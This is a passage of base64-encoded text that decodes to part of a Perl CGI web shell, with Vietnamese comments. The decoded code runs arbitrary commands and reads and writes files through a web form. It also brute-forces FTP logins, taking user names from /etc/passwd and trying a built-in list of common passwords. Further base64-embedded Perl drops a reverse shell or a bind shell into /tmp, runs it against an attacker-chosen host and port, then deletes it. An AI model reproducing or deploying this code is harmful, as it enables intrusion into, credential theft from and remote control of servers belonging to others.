wbGF5ZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCgkkQ3VycmVudERpciA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpcik7DQoJbXkgJHJlc3VsdD0iIjsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob21wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgcnVuIGNvbW1hbmQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSdW5DbWQNCnsNCglteSAkcmVzdWx0PSIiOw0KCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KCX0NCglpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJew0KCQkkfD0xOw0KCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQl7DQoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsNCgkJfQ0KCQkkfD0wOw0KCX0NCgllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgl7DQoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJENvbW1hbmQpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7DQoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOw0KCSRzYXZlPSc8YnI+PGlucHV0IG5hbWU9ImEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNhdmUiID4nOw0KCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5Db21tYW5kOw0KCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOw0KCWlmKC13ICRGaWxlKQ0KCXsNCgkJJHJvd3M9IjIzIg0KCX1lbHNlDQoJew0KCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2NvbG9yOiB5ZWxsb3c7JyA+IENhbm4ndCB3cml0ZSBmaWxlITxmb250Pjxicj4iOw0KCQkkcm93cz0iMjAiDQoJfQ0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCgkkUnVuQ29tbWFuZCA9ICJlZGl0ICRSdW5Db21tYW5kIjsNCgkkcmVzdWx0IC49ICA8PEVORDsNCgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+DQoJJFByb21wdA0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyI+DQoJPGlucHV0IG5hbWU9InMiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IiRmaWxlIiA+ICRzYXZlIDxicj4gJG1zZw0KCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPg0KRU5EDQoNCgkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCZGaWxlT3BlbigkRmlsZSwwKSk7DQoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOw0KCSRyZXN1bHQgLj0gIjwvZm9ybT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGaWxlIE9wZW4NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBGaWxlT3BlbigkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICRiaW5hcnkgPSBzaGlmdDsNCglteSAkcmVzdWx0ID0gIiI7DQoJbXkgJG4gPSAiIjsNCglpZigtZiAkZmlsZSl7DQoJCWlmKG9wZW4oRklMRSwkZmlsZSkpew0KCQkJaWYoJGJpbmFyeSl7DQoJCQkJYmlubW9kZSBGSUxFOw0KCQkJfQ0KCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsNCgkJCQkkcmVzdWx0IC49ICRkYXRhOw0KCQkJfQ0KCQkJY2xvc2UoRklMRSk7DQoJCX0NCgl9ZWxzZQ0KCXsNCgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KTm90ZTogT25seSBzY2FuIGZyb20gMSB0byAzIHVzZXIgOi1TPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZigkdXNlcm5hbWUgbmUgIiIpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZigkaW57J3NsZWVwJ30gbmUgIjAiKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSAqIDEwMDApOw0KCQkJCQl9DQoJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQmFja2Nvbm5lY3QgRm9ybQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kRm9ybQ0Kew0KCXJldHVybiA8PEVORDsNCgk8YnI+PGJyPg0KDQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCgk8dGQ+IEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY2xpZW50YWRkciIgdmFsdWU9IiRFTlZ7J1JFTU9URV9BRERSJ30iPg0KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNiIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+DQoNCgk8dGQ+PGlucHV0IG5hbWU9InMiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shDQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPg0KCTxicj5bK10gQ2xpZW50IGxpc3RlbiB3aXRoIGNvbW1hbmQ6IDxydW4+bmMgLXZ2IC1sIC1wIDxzcGFuIGlkPSJiYSI+ODA8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+DQoNCgk8YnI+PGJyPg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJpbmQgUG9ydDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KDQoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPg0KDQoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTIiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0idmluYWtpZCI+PC90ZD4NCgk8dGQ+PGlucHV0IG5hbWU9InMiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBUZXN0aW5nIC4uLi4NCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIFNvY2tldDsJDQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOw0KCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxkSE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lIQmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1Rb1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0lnWkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxGVGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRLQ0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJWeWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNiM05sS0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1VpazdEUXA5RFFvPSI7DQoNCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9Ow0KCSRDbGllbnRQb3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsNCglpZigkQ2xpZW50UG9ydCBlcSAwKQ0KCXsNCgkJcmV0dXJuICZCYWNrQmluZEZvcm07DQoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsNCgkJaWYoLXcgIi90bXAvIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmFja2Nvbm5lY3QucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9ZWxzZQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOw0KCQlpZigtdyAiL3RtcCIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN